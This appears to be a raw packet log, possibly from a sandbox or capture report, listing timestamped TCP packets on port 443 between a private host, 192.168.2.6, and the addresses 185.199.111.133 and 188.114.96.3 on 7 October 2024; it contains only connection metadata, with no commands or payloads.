Oct 7, 2024 14:52:31.408128023 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.408169031 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.408860922 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.408878088 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.408931971 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.408938885 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.408987045 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.408987045 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.409207106 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.409245014 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.409269094 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.409272909 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.409307957 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.409454107 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.409468889 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.409517050 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.409524918 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.409542084 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.413996935 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.414012909 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.414118052 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.414125919 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.414227009 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.414242029 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.414269924 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.414277077 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.414305925 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.433163881 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.433180094 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.433259010 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.433278084 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.433408976 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.433423042 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.433455944 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.433463097 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.433497906 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.482295990 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.482320070 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.482410908 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.482439995 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.491616011 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.491642952 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.491724968 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.491748095 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.491794109 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.491914988 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.491933107 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.491980076 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.491987944 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.492007017 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.492357969 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.492377996 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.492413998 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.492420912 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.492448092 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.496529102 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.496551991 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.496609926 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.496618032 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.496656895 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.496764898 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.496781111 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.496814013 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.496820927 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.496830940 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.516160965 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.516189098 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.516257048 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.516274929 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.516295910 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.516483068 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.516501904 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.516527891 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.516537905 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.516560078 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.565157890 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.565186024 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.565283060 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.565311909 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.565323114 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.574646950 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.574671984 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.574733973 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.574742079 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.574753046 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.574974060 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.574995995 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.575037956 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.575045109 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.575057030 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.575148106 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.575164080 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.575200081 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.575216055 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.575228930 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.579170942 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.579197884 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.579265118 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.579272032 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.579292059 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.579725027 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.579744101 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.579962015 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.579968929 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.598967075 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.598989964 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.599085093 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.599097967 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.599160910 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.599194050 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.599220037 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.599225044 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.599235058 CEST	443	49823	185.199.111.133	192.168.2.6
Oct 7, 2024 14:52:31.599242926 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.599297047 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.601959944 CEST	49823	443	192.168.2.6	185.199.111.133
Oct 7, 2024 14:52:31.744246960 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:31.744359016 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:31.744451046 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:31.744903088 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:31.744942904 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.201968908 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.202106953 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.204499960 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.204535007 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.204787016 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.206012011 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.251401901 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.604037046 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.604085922 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.604114056 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.604142904 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.604146957 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.604186058 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.604228020 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.604264021 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.604290962 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.604305029 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.659046888 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.662369013 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.662483931 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.662512064 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.662524939 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.662537098 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.662569046 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.662575960 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.686835051 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.686866999 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.686887980 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.686923981 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.686960936 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.686970949 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.687259912 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.687303066 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.687311888 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.687597990 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.687638998 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.687642097 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.687654018 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.687688112 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.687697887 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.688504934 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.688533068 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.688551903 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.688568115 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.688605070 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.757939100 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.757998943 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.758019924 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.758050919 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.758078098 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.758155107 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.758188963 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.758227110 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.758255959 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.758300066 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.758327007 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.758344889 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.758414984 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.758542061 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.788327932 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.788357019 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.788409948 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.788434982 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.788469076 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.788547039 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.788585901 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.788631916 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.788764000 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.788829088 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.788850069 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.788904905 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.789659977 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.789700985 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.789722919 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.789745092 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.789767981 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.790299892 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.790354967 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.790370941 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.790410042 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.790465117 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.790478945 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.791248083 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.791290045 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.791301966 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.791316986 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.791367054 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.841690063 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.841784000 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.841815948 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.841814041 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.841855049 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.841875076 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.841903925 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.841909885 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.841922045 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.841962099 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.842006922 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.842057943 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.842076063 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.842575073 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.842745066 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.842806101 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.871912003 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.871963978 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.872046947 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.872097015 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.872195959 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.872211933 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.872534037 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.872589111 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.872917891 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.872968912 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.872980118 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.873029947 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.873123884 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.873167992 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.873178959 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.873189926 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.873220921 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.873950005 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.873996973 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.874028921 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.874075890 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.874138117 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.874181986 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.874967098 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.874994040 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.875015974 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.875029087 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.875046015 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.875067949 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.924779892 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.924871922 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.924907923 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.924946070 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.924988031 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.925015926 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.925060987 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.925060987 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.925061941 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.925061941 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.925093889 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.925175905 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.925672054 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.925728083 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.925756931 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.925813913 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.926227093 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.926282883 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.926336050 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.926390886 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.926521063 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.926577091 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.927227020 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.927284956 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.927292109 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.927304029 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.927345037 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:32.927370071 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:32.927423000 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.140048981 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.140064001 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.140130997 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.140155077 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.140193939 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.140213966 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.140284061 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.140366077 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.140384912 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.140420914 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.140429974 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.140455008 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.140476942 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.140746117 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.140779972 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.140808105 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.140819073 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.140844107 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.140865088 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.140999079 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.141025066 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.141076088 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.141083956 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.141098976 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.141122103 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.145183086 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.145212889 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.145251989 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.145286083 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.145308018 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.145339012 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.146174908 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.146193027 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.146229029 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.146245956 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.146262884 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.146284103 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.147108078 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.147129059 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.147171974 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.147188902 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.147222996 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.147236109 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.147558928 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.147578955 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.147613049 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.147627115 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.147646904 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.147666931 CEST	49842	443	192.168.2.6	188.114.96.3
Oct 7, 2024 14:52:33.148200989 CEST	443	49842	188.114.96.3	192.168.2.6
Oct 7, 2024 14:52:33.148257971 CEST	49842	443	192.168.2.6	188.114.96.3
